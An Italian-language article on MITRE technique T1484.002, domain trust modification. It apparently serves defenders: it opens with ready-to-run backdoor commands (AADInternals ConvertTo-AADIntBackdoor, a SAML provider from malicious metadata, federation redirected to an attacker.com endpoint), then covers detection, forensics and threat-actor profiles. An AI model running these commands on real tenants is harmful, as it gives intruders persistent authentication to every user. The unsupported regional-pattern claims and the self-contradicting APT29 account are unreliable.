Manipolazione Trust: Trust Modification (T1484.002)

Per testare la resilienza dei trust di dominio, inizia verificando le relazioni esistenti. In ambiente Windows, utilizza nltest /domain_trusts per enumerare tutti i trust attivi. Se hai accesso privilegiato, puoi interrogare direttamente Active Directory con PowerShell:

Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType

La creazione di un nuovo trust richiede privilegi elevati. Con Domain Admin, puoi utilizzare:

netdom trust TrustedDomain.com /Domain:TrustingDomain.com /add /UserD:Administrator /PasswordD: /UserO:Administrator /PasswordO:**

Per scenari più avanzati, AADInternals offre capacità offensive specifiche per ambienti Azure AD. Dopo l'installazione del modulo, puoi convertire un dominio gestito in federato:

ConvertTo-AADIntBackdoor -DomainName "victim.com"

Questa operazione crea una backdoor persistente permettendo l'autenticazione di qualsiasi utente nel tenant. Il tool modifica anche le informazioni DesktopSSO, ampliando le possibilità di accesso.

In ambienti cloud, la manipolazione avviene tramite API. Per AWS, un attaccante con permessi sufficienti può creare un nuovo identity provider SAML:

aws iam create-saml-provider --saml-metadata-document file://malicious-metadata.xml --name MaliciousIdP

La catena d'attacco tipica prevede: compromissione iniziale, escalation a Global Admin o equivalente, modifica configurazione trust, e infine persistenza attraverso autenticazione federata. Scattered Spider ha dimostrato l'efficacia di questo approccio aggiungendo provider federati ai tenant SSO delle vittime.

Per Azure AD, il comando PowerShell critico è:

Set-MsolDomainAuthentication -DomainName "victim.com" -Authentication Federated -PassiveLogOnUri "https://attacker.com/adfs" -SigningCertificate $cert

Il rilevamento delle modifiche ai trust richiede monitoraggio su più fronti. Windows Security Event Log cattura le operazioni critiche con specifici EventCode da monitorare.

Configura alert per EventCode 4706 (nuovo trust creato) e 4707 (trust rimosso). Questi eventi appaiono raramente in condizioni normali, riducendo i falsi positivi. L'oggetto monitorato sarà di tipo trustedDomain o foreignSecurityPrincipal.

Per Azure AD, monitora l'Unified Audit Log cercando operazioni come "Set domain authentication" o "Add federated identity provider". Queste azioni dovrebbero triggerare alert immediati:

Search-UnifiedAuditLog -Operations "Set domain authentication" -StartDate (Get-Date).AddDays(-7)

La correlazione temporale è fondamentale. Un pattern tipico include: modifica trust seguita da login anomali entro 15-30 minuti. Implementa detection rule che correlano questi eventi.

Per ambienti ibridi, Sysmon fornisce visibilità aggiuntiva. Monitora processi che accedono a LDAP con query specifiche sui container dei trust. I comandi netdom.exe e nltest.exe eseguiti da account non standard sono indicatori ad alta fedeltà.

Attributi AD critici da monitorare includono: trustPartner, trustDirection, trustType, e msDS-TrustForestTrustInfo. Modifiche a questi attributi da account che non sono normalmente associati alla gestione dei trust dovrebbero generare alert prioritari.

La gestione dei falsi positivi richiede baseline accurate. Documenta tutti i cambiamenti legittimi ai trust e crea whitelist basate su account autorizzati e finestre di manutenzione programmate.

L'analisi forense delle modifiche ai trust richiede esame approfondito di molteplici artefatti. In Active Directory, le modifiche vengono registrate nel database NTDS.dit, accessibile offline tramite strumenti come ntdsutil.

Il Security Event Log conserva tracce delle operazioni sui trust. Cerca EventCode 4716 per modifiche alle trust policy. Questi eventi includono il SID dell'account che ha effettuato la modifica e timestamp precisi per la ricostruzione temporale.

Per Azure AD, il Sign-in Log contiene dettagli sulle autenticazioni federate anomale post-compromissione. Esporta i log in formato JSON per analisi approfondita:

Get-AzureADAuditSignInLogs -Filter "federatedCredentialUsed eq true"

La campagna SolarWinds fornisce un caso studio illuminante. APT29 ha modificato le impostazioni di federazione del dominio per accettare token firmati con il proprio certificato SAML. L'analisi forense ha rivelato modifiche ai trust precedute da privilege escalation tramite Golden SAML.

Negli ambienti compromessi, verifica la presenza di certificati non autorizzati nel trust store. PowerShell facilita questa analisi:

Get-ChildItem -Path Cert:\LocalMachine\Root | Where-Object {$_.NotBefore -gt (Get-Date).AddDays(-30)}

La ricostruzione della timeline deve includere: momento della compromissione iniziale, escalation a privilegi amministrativi, modifica configurazione trust, primo utilizzo del trust modificato per accesso non autorizzato. Storm-0501 ha dimostrato questo pattern creando domini federati come backdoor persistenti.

Gli artefatti di rete includono traffico SAML/WS-Fed anomalo verso endpoint esterni. L'analisi dei log del proxy può rivelare comunicazioni con infrastructure C2 mascherate da autenticazione federata legittima.

Scattered Spider rappresenta l'evoluzione moderna degli attacchi ai trust. Questo gruppo si distingue per l'approccio metodico: compromette inizialmente tramite social engineering, escalata rapidamente a Global Admin, quindi modifica i tenant SSO aggiungendo provider federati. La loro firma distintiva è l'attivazione dell'account linking automatico, che facilita movimenti laterali su larga scala.

Storm-0501 adotta una strategia differente, creando domini federati completamente nuovi all'interno dei tenant Microsoft Entra. Questo approccio garantisce persistenza a lungo termine, trasformando l'infrastruttura della vittima in una backdoor permanente.

APT29, protagonista di SolarWinds, ha elevato la tecnica a livello strategico. Invece di compromettere certificati di firma, hanno modificato i trust per accettare i propri certificati, dimostrando comprensione profonda dell'architettura Azure AD.

Pattern geografici emergono chiaramente: gruppi dell'Europa dell'Est prediligono modifiche sottili ai trust esistenti, mentre attori asiatici tendono a creare nuove relazioni di federazione. Questa differenza riflette obiettivi operativi distinti: spionaggio persistente versus esfiltrazione rapida.

L'overlap negli strumenti è significativo. AADInternals appare nell'arsenale di molteplici gruppi, suggerendo standardizzazione nelle TTP. La convergenza verso tecniche cloud-native indica evoluzione del panorama delle minacce.

Le campagne documentate mostrano tempistiche prevedibili: 7-10 giorni dalla compromissione iniziale alla modifica dei trust, seguiti da 30-60 giorni di attività sotto copertura della nuova configurazione. Questa finestra temporale offre opportunità di detection per team preparati.

Analisi basata su MITRE ATT&CK framework per Trust Modification (T1484.002). Riferimenti a campagne SolarWinds Compromise (C0024) e strumenti AADInternals (S0677). Detection guidance da Azure AD Unified Logs e Windows Security Event monitoring per trust object modifications.